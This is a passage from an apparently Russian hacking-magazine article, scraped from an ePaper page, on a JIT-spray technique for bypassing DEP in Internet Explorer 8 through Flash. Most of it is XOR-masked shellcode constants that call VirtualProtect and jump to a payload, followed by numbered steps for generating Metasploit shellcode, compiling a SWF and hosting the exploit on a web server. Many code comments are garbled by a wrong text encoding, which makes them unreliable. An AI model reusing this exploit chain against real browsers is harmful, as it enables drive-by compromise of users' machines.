15.11.2014 Views

ДЕДИКИ

ДЕДИКИ

ДЕДИКИ

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

Делаем память с шеллкодом исполняемой<br />

0x3c90eA75^ // 3575eA903c jnz short NEXT:<br />

0x3c904747^ // 354747903c inc edi, inc edi ; äâà áàéòà<br />

ñäâèã — Unicode æ<br />

… // è òàê äàëåå îñòàëüíûå òðè áóêâû<br />

… // Íàéäÿ ìîäóëü ïî èìåíè è åãî áàçîâûé àäðåñ<br />

… // Ïîëó÷àåì óêàçàòåëè íà òàáëèöû ñ èìåíàìè è àäðåñàìè<br />

ôóíêöèé<br />

0x3cb89090^ // 359090b83c mov eax, 3c ..<br />

0x3c900000^ // 350000903c 3500000<br />

0x3c9063b0^ // 35b063903c mov ah, 'c'<br />

0x3c5074b4^ // 35b474503c mov al, 't' and push –"ct\0\0"<br />

// çàíîñèì â ñòåê ïî 4 áàéòà<br />

"Virt ualP rote ct\0\0"<br />

// çàòåì èùåì â ñïèñêå èìåí äàííîå èìÿ, êàê íàøëè èìÿ,<br />

ñìîòðèì ñ ýòèì æå èíäåêñîì àäðåñ ôóíêöèè, ïîëó÷àåì<br />

…<br />

0x3c5cc483^ // 3583c45c3c add esp, 5c ; Âîçâðàùàåìñÿ ê<br />

àäðåñó øåëëêîäà<br />

0x3c909058^ // 355890903c pop eax ; ïîëó÷àåì ñòàðøèå áàéòû<br />

0x3c08c483^ // 3583c4083c add esp, 08 ;ñäâèãàåìñÿ ê<br />

ìëàäøåìó àäðåñó<br />

0x3cb9905a^ // 355a90b93c pop edx ; ïîëó÷àåì ìëàäøèå<br />

çíà÷åíèÿ<br />

0x3c906060^ // 356060903c<br />

0x3c9060b1^ // 35b160903c<br />

0x3c9060b5^ // 35b560903c çàíîñèì â ðåãèñòð ecx 0x60606060<br />

0x3c90c12b^ // 352bc1903c sub eax, ecx<br />

0x3c90d12b^ // 352bd1903c sub edx, ecx ;ìëàäøèå<br />

âîññòàíîâèëè<br />

0x3c04e0c1^ // 35c1e0043c shl eax, 4 ; òåïåðü ñòàðøèå<br />

0x3c90c203^ // 3503c2903c add eax,edx ; íó è âåñü àäðåñ<br />

0x3c90388b^ // 358b38903c mov edi, [eax] ; ïîëó÷àåì ïî<br />

óêàçàòåëþ àäðåñ øåëëêîäà<br />

0x3c08c783^ // 3583c7083c add edi, 8 ; ñäâèãàåìñÿ íà 8<br />

áàéò<br />

0x3c406a54^ // 35546a403c push esp and push 40 ;<br />

XÀÊÅÐ 05 /136/ 10<br />

ïîäãîòàâëèâàåì ïàðàìåòðû. 0x40 — ðàçðåøèòü íà ÷òåíèå,<br />

çàïèñü è èñïîëíåíèå<br />

0x3c90016a^ // 356a01903c push 01 ; ðàçìåð íå èìååò<br />

çíà÷åíèÿ<br />

0x3cd3ff57^ // 3557ffd33c âûçûâàåì ôóíêöèþ<br />

0x3c90e7ff); // è ôèíàëüíûé ïðûæîê íà îñíîâíîé øåëëêîä,<br />

óæå èñïîëíÿåìûé<br />

}<br />

function Loadzz2(){ var ret1 = funcXOR1();}<br />

В комментариях ищи основной смысл, в опкодах же присутствует<br />

ещё выравнивание NOP’ами и маскирование XOR’ов. Конечно,<br />

данный шеллкод можно вписать в меньшие размеры, но в данном<br />

случае значения это не имеет, главное — не набрать кода больше<br />

чем 0x1000 = 4000 байт. Наш шеллкод имеет размер около 800 байт,<br />

включая NOP’ы, XOR’ы и выравнивания Так что места ещё много. Вот<br />

такая история. На диске ты найдешь примеры других шеллкодов и<br />

пример эксплойта. К сожалению, мы не успели рассмотреть вариант<br />

с точным вычислением адреса JIT шеллкода, тем не менее, и данный<br />

вариант будет работать. На диске есть набор для генерации всего что<br />

понадобится для обхода защиты DEP в IE8, и вдобавок видео, как этим<br />

пользоваться. Вкратце суть следующая:<br />

1. Находим уязвимость.<br />

2. Генерируем в метасплойте шеллкод в формате perl.<br />

3. Сохраняем его, меня модификатор 'my' на 'our'.<br />

3. Генерируем AS файл: perl shellcodegen.pl shellcode_file > jit-spray.as<br />

4. Генерируем SWF файл: as3compiler –X 320 –Y 300 –M Loadzz1 jitspray.as<br />

5. Собираем эксплойт, используя функции из статьи. Так, чтобы после<br />

адреса возврата находился адрес, передаваемый через Flash.<br />

6. Закачиваем HTML и SWF на WEB сервер.<br />

Пожалуй, на этом трилогия про атаки на браузеры через ActiveX<br />

закончена. Надо заметить, что описанный здесь метод применим<br />

не только к IE8, но и к другим браузерам. Аналогичный метод может<br />

использоваться в PDF файлах. z<br />

069

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!